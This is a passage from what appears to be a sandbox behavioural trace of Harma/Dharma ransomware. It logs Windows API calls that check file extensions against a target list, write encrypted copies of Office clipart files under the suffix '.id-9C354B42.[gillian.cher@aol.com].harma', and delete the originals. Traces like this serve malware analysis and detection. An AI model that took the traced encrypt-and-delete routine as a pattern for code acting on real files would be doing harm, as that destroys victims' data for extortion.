lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString=".7z") returned 3 [0159.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString=".dbf") returned 4 [0159.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString=".1cd") returned 4 [0159.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.399] lstrlenW (lpString=".jpg") returned 4 [0159.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.400] lstrlenW (lpString=".doc") returned 4 [0159.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString=".docx") returned 5 [0159.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.400] lstrlenW (lpString=".pdf") returned 4 [0159.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString=".xls") returned 4 [0159.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.400] lstrlenW (lpString=".xlsx") returned 5 [0159.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.400] lstrlenW (lpString=".ppt") returned 4 [0159.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.400] lstrlenW (lpString=".zip") returned 4 [0159.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.400] lstrlenW (lpString=".rar") returned 4 [0159.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString=".bz2") returned 4 [0159.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.400] lstrlenW (lpString=".7z") returned 3 [0159.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.400] lstrlenW (lpString=".dbf") returned 4 [0159.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.401] lstrlenW (lpString=".1cd") returned 4 [0159.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0159.401] lstrlenW (lpString=".jpg") returned 4 [0159.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.401] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.401] lstrlenW (lpString="IN00915_.WMF") returned 12 [0159.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.507] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=12748) returned 1 [0159.507] CloseHandle (hObject=0x34c) returned 1 [0159.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0159.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.634] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.634] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.635] GetLastError () returned 0x0 [0159.635] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x31cc, lpOverlapped=0x0) returned 1 [0159.637] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0159.638] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.638] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.638] SetEndOfFile (hFile=0x334) returned 1 [0159.638] CloseHandle (hObject=0x334) returned 1 [0159.638] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.638] SetEndOfFile (hFile=0x380) returned 1 [0159.641] CloseHandle (hObject=0x380) returned 1 [0159.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0159.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.642] lstrlenW (lpString=".doc") returned 4 [0159.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.642] lstrlenW (lpString=".docx") returned 5 [0159.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.642] lstrlenW (lpString=".pdf") returned 4 [0159.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.642] lstrlenW (lpString=".xls") returned 4 [0159.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.642] lstrlenW (lpString=".xlsx") returned 5 [0159.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.642] lstrlenW (lpString=".ppt") returned 4 [0159.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.642] lstrlenW (lpString=".zip") returned 4 [0159.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.643] lstrlenW (lpString=".rar") returned 4 [0159.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".bz2") returned 4 [0159.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".7z") returned 3 [0159.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.643] lstrlenW (lpString=".dbf") returned 4 [0159.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.643] lstrlenW (lpString=".1cd") returned 4 [0159.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.643] lstrlenW (lpString=".jpg") returned 4 [0159.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.643] lstrlenW (lpString=".doc") returned 4 [0159.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".docx") returned 5 [0159.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.643] lstrlenW (lpString=".pdf") returned 4 [0159.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".xls") returned 4 [0159.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.643] lstrlenW (lpString=".xlsx") returned 5 [0159.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.643] lstrlenW (lpString=".ppt") returned 4 [0159.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.644] lstrlenW (lpString=".zip") returned 4 [0159.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.644] lstrlenW (lpString=".rar") returned 4 [0159.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString=".bz2") returned 4 [0159.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString=".7z") returned 3 [0159.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.644] lstrlenW (lpString=".dbf") returned 4 [0159.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.644] lstrlenW (lpString=".1cd") returned 4 [0159.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0159.644] lstrlenW (lpString=".jpg") returned 4 [0159.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.644] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.644] lstrlenW (lpString="J0086384.WMF") returned 12 [0159.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.645] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9734) returned 1 [0159.645] CloseHandle (hObject=0x380) returned 1 [0159.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0159.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.646] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.646] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.647] GetLastError () returned 0x0 [0159.647] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2606, lpOverlapped=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0159.650] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.650] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.650] SetEndOfFile (hFile=0x334) returned 1 [0159.650] CloseHandle (hObject=0x334) returned 1 [0159.650] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.650] SetEndOfFile (hFile=0x380) returned 1 [0159.653] CloseHandle (hObject=0x380) returned 1 [0159.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.654] lstrlenW (lpString=".doc") returned 4 [0159.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.654] lstrlenW (lpString=".docx") returned 5 [0159.654] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.654] lstrlenW (lpString=".pdf") returned 4 [0159.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.654] lstrlenW (lpString=".xls") returned 4 [0159.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.654] lstrlenW (lpString=".xlsx") returned 5 [0159.654] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.654] lstrlenW (lpString=".ppt") returned 4 [0159.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.654] lstrlenW (lpString=".zip") returned 4 [0159.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.654] lstrlenW (lpString=".rar") returned 4 [0159.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.654] lstrlenW (lpString=".bz2") returned 4 [0159.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.654] lstrlenW (lpString=".7z") returned 3 [0159.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.654] lstrlenW (lpString=".dbf") returned 4 [0159.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.655] lstrlenW (lpString=".1cd") returned 4 [0159.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.655] lstrlenW (lpString=".jpg") returned 4 [0159.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.655] lstrlenW (lpString=".doc") returned 4 [0159.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString=".docx") returned 5 [0159.655] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.655] lstrlenW (lpString=".pdf") returned 4 [0159.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString=".xls") returned 4 [0159.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.655] lstrlenW (lpString=".xlsx") returned 5 [0159.655] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.655] lstrlenW (lpString=".ppt") returned 4 [0159.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.655] lstrlenW (lpString=".zip") returned 4 [0159.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.655] lstrlenW (lpString=".rar") returned 4 [0159.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString=".bz2") returned 4 [0159.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString=".7z") returned 3 [0159.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.656] lstrlenW (lpString=".dbf") returned 4 [0159.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.656] lstrlenW (lpString=".1cd") returned 4 [0159.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0159.656] lstrlenW (lpString=".jpg") returned 4 [0159.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.656] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.656] lstrlenW (lpString="J0086420.WMF") returned 12 [0159.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.657] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9596) returned 1 [0159.657] CloseHandle (hObject=0x380) returned 1 [0159.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0159.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.657] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.657] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.662] GetLastError () returned 0x0 [0159.662] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x257c, lpOverlapped=0x0) returned 1 [0159.772] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0159.773] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.773] WriteFile (in: hFile=0x334, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.773] SetEndOfFile (hFile=0x334) returned 1 [0159.774] CloseHandle (hObject=0x334) returned 1 [0159.774] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.774] SetEndOfFile (hFile=0x380) returned 1 [0159.776] CloseHandle (hObject=0x380) returned 1 [0159.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0159.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.889] lstrlenW (lpString=".doc") returned 4 [0159.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.889] lstrlenW (lpString=".docx") returned 5 [0159.890] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.890] lstrlenW (lpString=".pdf") returned 4 [0159.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString=".xls") returned 4 [0159.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.890] lstrlenW (lpString=".xlsx") returned 5 [0159.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.890] lstrlenW (lpString=".ppt") returned 4 [0159.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString=".zip") returned 4 [0159.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.890] lstrlenW (lpString=".rar") returned 4 [0159.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString=".bz2") returned 4 [0159.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString=".7z") returned 3 [0159.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString=".dbf") returned 4 [0159.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString=".1cd") returned 4 [0159.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString=".jpg") returned 4 [0159.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString="C:\\Program 